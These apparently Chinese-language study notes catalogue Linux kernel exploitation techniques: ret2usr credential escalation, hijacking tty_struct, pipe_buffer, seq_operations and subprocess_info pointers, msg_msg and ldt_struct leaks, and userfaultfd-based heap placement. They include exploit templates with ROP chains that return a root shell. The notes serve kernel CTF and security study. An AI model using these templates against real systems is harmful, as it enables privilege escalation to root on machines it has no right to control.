ret2usr 核心:利用 commit_creds(prepare_kernel_cred(0)) 进行提取
原理:该方式会自动生成一个合法的 cred,并定位当前线程的 task_struct 的位置,然后修改它的 cred 为新的 cred
当已知 commit_creds 和 prepare_kernel_cred 的函数地址时,用如下代码进行提权:
1 2 3 4 5 6 void get_root () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); }
注意:“prepare_kernel_cred”和“commit_creds”都是地址,需要用函数指针执行
对于这两个函数的地址,可以在 “/proc/kallsyms-内核符号表” 中找到,提供以下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t commit_creds = 0 ;size_t prepare_kernel_cred = 0 ;size_t find_symbols () { FILE* kallsyms_fd = fopen("/proc/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } }
注意:如果在 init 文件中看到如下代码,就不能通过 /proc/kallsyms 查看函数地址了
1 echo 1 > /proc/sys/kernel/kptr_restrict # 设置kptr_restrict为'1'
如果开启了 smep,则需要使用 mov cr4, 0x1407e0
关闭 smep
tty_struct attack 在 open("/dev/ptmx", O_RDWR)
时会分配这样一个结构体:tty_struct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 struct tty_struct { int magic; struct kref kref ; struct device *dev ; struct tty_driver *driver ; const struct tty_operations *ops ; int index; struct ld_semaphore ldisc_sem ; struct tty_ldisc *ldisc ; struct mutex atomic_write_lock ; struct mutex legacy_mutex ; struct mutex throttle_mutex ; struct rw_semaphore termios_rwsem ; struct mutex winsize_mutex ; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios , termios_locked ; struct termiox *termiox ; char name[64 ]; struct pid *pgrp ; struct pid *session ; unsigned long flags; int count; struct winsize winsize ; unsigned long stopped:1 , flow_stopped:1 , unused:BITS_PER_LONG - 2 ; int hw_stopped; unsigned long ctrl_status:8 , packet:1 , unused_ctrl:BITS_PER_LONG - 9 ; unsigned int receive_room; int flow_change; struct tty_struct *link ; struct fasync_struct *fasync ; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work ; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files ; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work ; struct tty_port *port ; } __randomize_layout;
ops:指向 ptm_unix98_ops,因此它可能会泄漏(可以绕过 Kaslr)
ops:可以覆写执行任意函数
另一个很有趣的结构体:tty_operations
(tty_struct[4]
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct tty_operations { struct tty_struct * (*lookup )(struct tty_driver *driver , struct file *filp , int idx ); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set , unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
全是函数指针,每一个都可以用来劫持
劫持过后,就可以通过调用对应的函数来执行我们想要的代码了
conditional competition 条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的
条件竞争需要如下的条件:
并发,即至少存在两个并发执行流:
共享对象,即多个并发流会访问同一对象:
常见的共享对象有共享内存,文件系统,信号,一般来说,这些共享对象是用来使得多个程序执行流相互交流
此外,我们称访问共享对象的代码为临界区,在正常写代码时,这部分应该加锁
改变对象,即至少有一个控制流会改变竞争对象的状态:因为如果程序只是对对象进行读操作,那么并不会产生条件竞争
案例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <unistd.h> #include <pthread.h> #include <stdio.h> int counter;void * IncreaseCounter (void * args) { counter += 1 ; sleep(0.1 ); printf ("Thread %d has counter value %d\n" , (unsigned int )pthread_self(), counter); } int main () { pthread_t p[10 ]; for (int i = 0 ; i < 10 ; ++i) { pthread_create(&p[i], NULL , IncreaseCounter, NULL ); } for (int i = 0 ; i < 10 ; ++i) { pthread_join(p[i], NULL ); } return 0 ; }
创建10个线程,常理说应该线程应该按从小到大的顺序输出相应顺序的数字,但是由于 counter 是全局共享的资源,在 race window 的间隙里面可能多个线程对 counter 进行写、读操作,导致输出结果很难预料,如下: (多次尝试的结果还不同)
1 2 3 4 5 6 7 8 9 10 11 12 ➜ exp gcc test.c -o test -pthread ➜ exp ./test Thread -967665920 has counter value 10 Thread -1043200256 has counter value 10 Thread -1034807552 has counter value 10 Thread -976058624 has counter value 10 Thread -1026414848 has counter value 10 Thread -984451328 has counter value 10 Thread -992844032 has counter value 10 Thread -1009629440 has counter value 10 Thread -1001236736 has counter value 10 Thread -1018022144 has counter value 10
1 2 3 4 5 6 7 8 9 10 11 ➜ exp ./test Thread 1636828928 has counter value 5 Thread 1586472704 has counter value 10 Thread 1594865408 has counter value 10 Thread 1603258112 has counter value 10 Thread 1569687296 has counter value 10 Thread 1578080000 has counter value 10 Thread 1628436224 has counter value 5 Thread 1645221632 has counter value 5 Thread 1611650816 has counter value 6 Thread 1620043520 has counter value 8
pipe trick pipe 的读和写没有专门的函数,直接使用 write 和 read 操作之前 pipe 返回的文件描述符即可,pipefd[1] 用来写,pipefd[0] 用来读
结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct pipe_inode_info { wait_queue_head_t wait; unsigned int nrbufs; unsigned int curbuf; ... unsigned int readers; unsigned int writers; unsigned int waiting_writers; ... struct inode *inode ; struct pipe_buffer bufs [16]; }; struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private ; };
关于这个 pipe_buffer,有个小 trick:
使用 write(pfd[1],buf,0x100),就是使用管道传输信息
write(pfd[1],buf,0x100) 执行之前,offset = 0,len = 0
write(pfd[1],buf,0x100) 执行之后,offset = 0,len = 0x100
offset 和 len 都是4字节数据,如果把它们拼在一起,凑成8字节,就是 0x10000000000
如果我们用 UAF,使其 pipe_buffer 和另一个结构体重合,那么该结构体对应位置也会变为 0x10000000000
如果该结构体与内存管理有关,并且该位表示 size 的话,就可以造成堆溢出
subprocess_info attack 使用以下语句:
会触发 struct subprocess_info
这个对象的分配,此结构为0x60大小,定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct subprocess_info { struct work_struct work ; struct completion *complete ; const char *path; char **argv; char **envp; struct file *file ; int wait; int retval; pid_t pid; int (*init)(struct subprocess_info *info, struct cred *new ); void (*cleanup)(struct subprocess_info *info); void *data; } __randomize_layout;
work.func:指向 call_usermodehelper_exec_work,可以泄露内核地址
cleanup:条件竞争控制这里可以执行任意函数
此对象在分配时最终会调用 cleanup 函数,如果我们能在分配过程中把 cleanup 指针劫持为我们的 gadget,就能控制RIP,劫持的方法显而易见,即条件竞争
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void *race (void *arg) { unsigned long *info = (unsigned long *)arg; info[0 ] = (u_int64_t )xchg_eax_esp; u_int64_t hijacked_stack_addr = ((u_int64_t )xchg_eax_esp & 0xffffffff ); printf ("[+] hijacked_stack: %p\n" , (char *)hijacked_stack_addr); char * fake_stack = NULL ; if ((fake_stack = mmap((char *)((hijacked_stack_addr & (~0xfff ))),0x2000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 )) == MAP_FAILED) perror("mmap" ); printf ("[+] fake_stack addr: %p\n" , fake_stack); fake_stack[0 ]=0 ; u_int64_t * hijacked_stack_ptr = (u_int64_t *)hijacked_stack_addr; int index = 0 ; hijacked_stack_ptr[index++] = pop_rdi; hijacked_stack_ptr[index++] = 0 ; hijacked_stack_ptr[index++] = prepare_kernel_cred; hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret; hijacked_stack_ptr[index++] = 0 ; hijacked_stack_ptr[index++] = 0 ; hijacked_stack_ptr[index++] = commit_creds; hijacked_stack_ptr[index++] = swapgs; hijacked_stack_ptr[index++] = iretq; hijacked_stack_ptr[index++] = (u_int64_t )getshell; hijacked_stack_ptr[index++] = user_cs; hijacked_stack_ptr[index++] = user_rflags; hijacked_stack_ptr[index++] = user_rsp; hijacked_stack_ptr[index++] = user_ss; while (1 ) { write(fd, (void *)info,0x20 ); if (race_flag) break ; } return NULL ; }
这些 gadget 都可以通过 ropper
来找
commit_creds,prepare_kernel_cred 可以通过 grep <symbol_name> /proc/kallsyms
来找(记得开 root,关闭 kernel ASLR)
而 user_cs 这些寄存器的值,可以通过 save_status
来获取
msg_msg leak 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct msg_msg { struct list_head m_list ; long m_type; size_t m_ts; struct msg_msgseg *next ; void *security; }; struct msg_queue { struct kern_ipc_perm q_perm ; time64_t q_stime; time64_t q_rtime; time64_t q_ctime; unsigned long q_cbytes; unsigned long q_qnum; unsigned long q_qbytes; struct pid *q_lspid ; struct pid *q_lrpid ; struct list_head q_messages ; struct list_head q_receivers ; struct list_head q_senders ; } __randomize_layout;
当我们在一个消息队列上发送多个消息时,会形成如下结构:(msg 双向链表)
去除掉 msg_msg
结构体本身的 0x30 字节的部分(或许可以称之为 header)剩余的部分都用来存放用户数据
因此内核分配的 object 的大小是跟随着我们发送的 message 的大小进行变动的
而当我们单次发送大于 [一个页面大小 - header size] 大小的消息时,内核会额外补充添加 msg_msgseg
结构体(只有一个 next 指针),其与 msg_msg
之间形成如下单向链表结构:
同样地,单个 msg_msgseg
的大小最大为一个页面大小,因此超出这个范围的消息内核会额外补充上更多的 msg_msgseg
结构体
在读取 msg_msg
中的数据时,如果 msg_msg->next
不为空,程序就会把 msg_msg->next
指向的内容也当做是 msg_msg data
的一部分,如果 msg_msgseg->next
还不为空,就会继续读取 msg_msgseg->next
指向的内容
利用-内核地址泄露:
在拷贝数据时对长度的判断主要依靠的是 msg_msg->m_ts
,若是我们能够控制一个 msg_msg 的 header,将其 msg_msg->m_ts
成员改为一个较大的数,我们就能够越界读取出最多将近一张内存页大小的数据
若是我们能够同时劫持 msg_msg->m_ts
与 msg_msg->next
,我们便能够完成内核空间中的任意地址读(msg_msg->next
指向的数据也会被当做 msg_msg data
)
但这个方法有一个缺陷,无论是 MSG_COPY
还是常规的接收消息,其拷贝消息的过程的判断主要依据还是单向链表的 next 指针,因此若我们需要完成对特定地址向后的一块区域的读取,我们需要保证该地址的数据为 NULL
相关接口:
1 2 3 4 5 6 7 8 9 10 11 int msgget (key_t key, int flags) ; int msgsnd (int msqid, const void *msgp, size_t msgsz, int msgflg) ; ssize_t msgrcv (int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) ; int msgctl (int msqid, int cmd, struct msqid_ds *buf) ;
msqid:消息队列的标识符,代表要从哪个消息列中获取消息
msgp: 存放消息结构体的地址(需要自己定义:long type+char data[n]
)
msgsz:消息正文的字节数
msgtyp:消息的类型,可以有以下几种类型:
msgtyp = 0:返回队列中的第一个消息
msgtyp > 0:返回队列中消息类型为 msgtyp 的消息(常用)
msgtyp < 0:返回队列中消息类型值小于或等于 msgtyp 绝对值的消息,如果这种消息有若干个,则取类型值最小的消息
msgflg:函数的控制属性,其取值如下:
0:msgrcv() 调用阻塞直到接收消息成功为止
MSG_NOERROR:若返回的消息字节数比 nbytes 字节数多,则消息就会截短到 nbytes 字节,且不通知消息发送进程
MSG_COPY:读取但不释放,当我们在调用 msgrcv 接收消息时,相应的 msg_msg 链表便会被释放,当我们在调用 msgrcv 时若设置了 MSG_COPY
标志位,则内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink
IPC_NOWAIT:调用进程会立即返回,若没有收到消息则立即返回 -1
PS:msg_msg 常常和 sk_buff 进行连用
pipe_buffer leak+attack pipe_buffer leak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private ; }; struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); void (*release)(struct pipe_inode_info *, struct pipe_buffer *); bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
当我们创建一个管道时,在内核中会生成数个连续的 pipe_buffer
结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object
在 pipe_buffer
中存在一个函数表成员 pipe_buf_operations
,其指向内核中的函数表 anon_pipe_buf_ops
,若我们能够将其读出,便能泄露出内核基址
pipe_buffer attack
当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buf_operations->release
这一指针,可以把它覆盖为 shellcode
参考模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg; pipe_buf_ptr->page = *(uint64_t *) "yhellow" ; pipe_buf_ptr->ops = victim_addr + 0x100 ; ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100 ]; ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset; rop_idx = 0 ; rop_chain = (uint64_t *) &fake_secondary_msg[0x20 ]; rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET; rop_chain[rop_idx++] = kernel_offset + INIT_CRED; rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS; rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 ; rop_chain[rop_idx++] = *(uint64_t *) "yhellow" ; rop_chain[rop_idx++] = *(uint64_t *) "yhellow" ; rop_chain[rop_idx++] = getRootShell; rop_chain[rop_idx++] = user_cs; rop_chain[rop_idx++] = user_rflags; rop_chain[rop_idx++] = user_sp; rop_chain[rop_idx++] = user_ss; if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof (fake_secondary_msg)) < 0 ) errExit("failed to spray sk_buff!" ); printf ("[*] gadget: %p\n" , kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);printf ("[*] free_pipe_info: %p\n" , kernel_offset + FREE_PIPE_INFO);sleep(5 ); for (int i = 0 ; i < PIPE_NUM; i++){ close(pipe_fd[i][0 ]); close(pipe_fd[i][1 ]); }
shm_file_data leak+attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct shm_file_data { int id; struct ipc_namespace *ns ; struct file *file ; const struct vm_operations_struct *vm_ops ; }; #define shm_file_data(file) (*((struct shm_file_data **)&(file)->private_data)) static const struct vm_operations_struct shm_vm_ops = { .open = shm_open, .close = shm_close, .fault = shm_fault, .split = shm_split, .pagesize = shm_pagesize, #if defined(CONFIG_NUMA) .set_policy = shm_set_policy, .get_policy = shm_get_policy, #endif };
ns,vm_ops:指向内核数据区域,因此可能发生泄漏(可以绕过 Kaslr)
file:文件指向堆区域,因此可能会泄漏 kernel_heapbase
vm_ops:可以覆写这里,但在特殊情况下,shmget 不会调用伪造的 vtable 函数指针
shmget:用于 Linux 进程通信(IPC)共享内存,共享内存函数由 shmget、shmat、shmdt、shmctl 四个函数组成
使用案例:
1 2 3 4 5 6 7 8 9 10 int shmid;if ((shmid = shmget(IPC_PRIVATE, 100 , 0600 )) == -1 ) { perror("shmget" ); return 1 ; } char *shmaddr = shmat(shmid, NULL , 0 );if (shmaddr == (void *)-1 ) { perror("shmat" ); return 1 ; }
seq_operations leak+attack 1 2 3 4 5 6 7 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
start,stop,next,show:这4个函数都可以泄露 kernel_base
start:重写 start 变量并调用 read,就可以成功控制 rip
当我们 read
一个 stat
文件时,内核会调用 proc_ops->proc_read_iter
指针
使用案例:
1 2 int victim = open("/proc/self/stat" , O_RDONLY);read(victim, buf, 1 );
pt_regs + seq_operations Bypass KPTI 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct pt_regs { unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; unsigned long orig_rax; unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; };
用以在 Kernel Stack 中保存异常发生时的现场寄存器信息,其具体定义与 CPU 架构相关
在调用 SYSCALL 时,内核会将 pt_regs
结构体压栈
PS:内核发生异常时,输出的 debug 信息就是通过 show_regs(regs)
来打印的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 SYM_CODE_START(entry_SYSCALL_64) UNWIND_HINT_EMPTY swapgs /* 将用户栈偏移保存到per-cpu变量rsp_scratch中 */ movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp /* 在栈中倒序构建struct pt_regs */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL) pushq %rax /* pt_regs->orig_ax */ PUSH_AND_CLEAR_REGS rax=$-ENOSYS /* 保存参数到寄存器,调用do_syscall_64函数 */ movq %rax, %rdi movq %rsp, %rsi call do_syscall_64 /* returns with IRQs disabled */ /* 如果我们要返回到完全干净的64位用户空间上下文,请尝试使用SYSRET而不是IRET 如果我们不是,请转到缓慢的退出路径 */ movq RCX(%rsp), %rcx movq RIP(%rsp), %r11 cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */ jne swapgs_restore_regs_and_return_to_usermode #ifdef CONFIG_X86_5LEVEL ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \ "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57 #else shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx #endif /* 如果这改变了%rcx,它不是规范的 */ cmpq %rcx, %r11 jne swapgs_restore_regs_and_return_to_usermode cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode movq R11(%rsp), %r11 cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */ jne swapgs_restore_regs_and_return_to_usermode testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11 jnz swapgs_restore_regs_and_return_to_usermode /* nothing to check for RSP */ cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode syscall_return_via_sysret: /* RCX和R11已经恢复(见上面的代码) */ POP_REGS pop_rdi=0 skip_r11rcx=1 /* 现在,除RSP和RDI之外的所有寄存器都已恢复 保存旧的stack指针并切换到trampoline stack */ movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp UNWIND_HINT_EMPTY pushq RSP-RDI(%rdi) /* RSP */ pushq (%rdi) /* RDI */ /* 我们在trampoline stack上,除RDI之外的所有寄存器都是实时的 我们可以在这里做未来的最终退出工作 */ STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp USERGS_SYSRET64 SYM_CODE_END(entry_SYSCALL_64)
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
这些寄存器为我们布置 ROP 链提供了可能
利用:
通常和 seq_operations
配合使用
使用 __asm__
操控寄存器,然后在末尾写入一个 syscall
用于调用 read(seq_fd,rsp,8)
以触发 seq_operations->start
(需要再此处设置一个类似于 add rsp, xxx; ret;
的 Gadget 来将控制流迁移到我们的 ROP 上)
此时 pt_regs
压栈,同时也将我们布置的 ROP 压栈,seq_operations->start
上的 Gadget 用于完成迁移
PS:由于 read(seq_fd,rsp,8)
会破坏我们布置的 pt_regs
结构,因此具体的 ROP 链需要根据调试信息进行微调
ldt_struct RAA + WAA 1 2 3 4 5 struct ldt_struct { struct desc_struct *entries ; unsigned int nr_entries; int slot; };
在局部段描述符表中有许多的段描述符,用 desc_struct
进行描述:
1 2 3 4 5 6 struct desc_struct { u16 limit0; u16 base0; u16 base1: 8 , type: 4 , s: 1 , dpl: 2 , p: 1 ; u16 limit1: 4 , avl: 1 , l: 1 , d: 1 , g: 1 , base2: 8 ; } __attribute__((packed));
RAA
Linux 提供了 modify_ldt
系统调用,用于获取或修改当前进程的 LDT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0 : ret = read_ldt(ptr, bytecount); break ; case 1 : ret = write_ldt(ptr, bytecount, 1 ); break ; case 2 : ret = read_default_ldt(ptr, bytecount); break ; case 0x11 : ret = write_ldt(ptr, bytecount, 0 ); break ; } return (unsigned int )ret; }
其中我们可以利用的两个函数就是 read_ldt
和 write_ldt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static int read_ldt (void __user *ptr, unsigned long bytecount) { struct mm_struct *mm = current->mm; unsigned long entries_size; int retval; ...... if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } ...... out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; }
劫持 mm->context.ldt->entries
就可以实现任意读(ldt_struct->entries
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static int write_ldt (void __user *ptr, unsigned long bytecount, int oldmode) { struct mm_struct *mm = current->mm; struct ldt_struct *new_ldt , *old_ldt ; unsigned int old_nr_entries, new_nr_entries; struct user_desc ldt_info ; struct desc_struct ldt ; int error; ...... old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0 ; new_nr_entries = max(ldt_info.entry_number + 1 , old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); ...... } static struct ldt_struct *alloc_ldt_struct (unsigned int num_entries) { struct ldt_struct *new_ldt ; unsigned int alloc_size; if (num_entries > LDT_ENTRIES) return NULL ; new_ldt = kmalloc(sizeof (struct ldt_struct), GFP_KERNEL); ...... }
在 write_ldt
中会调用 alloc_ldt_struct
,然后执行一个 kmalloc
(可以被 UAF 控制)
利用 modify_ldt
泄露内核地址的思路如下:
申请并释放有 UAF 的堆块
执行 write_ldt
,使在 alloc_ldt_struct
中申请的 ldt_struct
填充 UAF 堆块
利用 UAF 控制 ldt_struct->entries
,然后使用 read_ldt
把数据读到用户态
在实际的利用中,只能在 ldt_struct->entries
中爆破数据
命中无效的地址:copy_to_user
返回非 0 值,此时 read_ldt
的返回值便是 -EFAULT
命中内核空间:read_ldt
执行成功
但我们不能直接爆破内核基地址,只能先爆破线性映射区 direct mapping area
(kmalloc 使用的空间),然后通过 read_ldt
在堆上读取一些可利用的内核指针并泄露内核基地址
通常情况下内核会开启 hardened usercopy
保护,当 copy_to_user
的源地址为内核 .text
段(包括 _stext
和 _etext
)时会引起 kernel panic
一般情况下 page_offset_base + 0x9d000
处固定存放着 secondary_startup_64
函数的地址(kernel_base = secondary_startup_64 - 0x40
)
WAA(不推荐)
利用条件竞争可以在 write_ldt
中实现任意写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static int write_ldt (void __user *ptr, unsigned long bytecount, int oldmode) { ...... old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0 ; new_nr_entries = max(ldt_info.entry_number + 1 , old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); if (!new_ldt) goto out_unlock; if (old_ldt) memcpy (new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; ...... }
基础的逻辑为:
新申请一个 ldt_struct
执行 memcpy
把旧的 ldt_struct
数据拷贝到新的 ldt_struct
中
注意最后一句 new_ldt->entries[ldt_info.entry_number] = ldt
通过条件竞争的方式在 memcpy
过程中将 new_ldt->entries
更改为我们的目标地址从而完成任意地址写,即 Double Fetch
userfaultfd + setxattr userfaultfd 是 Linux 的一个系统调用,使用户可以通过自定义的页处理程序 page fault handler 在用户态处理缺页异常
setxattr 在 kernel 中可以为我们提供近乎任意大小的内核空间 object 分配
1 SYS_setxattr() -> path_setxattr() -> setxattr()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static long setxattr (struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { kvalue = kvmalloc(size, GFP_KERNEL); if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) { kvfree(kvalue); return error; }
那么这里 setxattr 系统调用便提供给我们这样一条调用链:
在内核空间分配 object
向 object 内写入内容
释放分配的 object
这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容
堆占位技术就是用 setxattr 和 userfaultfd 配合使用得来的,可以在内核空间中分配任意大小的 object 并写入任意内容
在 setxattr 的执行流程,其中会调用 copy_from_user
从用户空间拷贝数据,通过这一点可以构造出如下的利用:
我们通过 mmap 分配连续的两个页面:
在第二个页面上启用 userfaultfd 监视
在第一个页面的末尾写入我们想要的数据
此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user
拷贝到第二个页面时便会触发 userfaultfd
从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用
堆占位一般用于 UAF 漏洞,当内核产生 UAF 堆块时,可以用堆占位技术将一个 object 放入其中,之后通过 UAF 漏洞就可以操控这个 object
注册 userfaultfd 的模板如下:
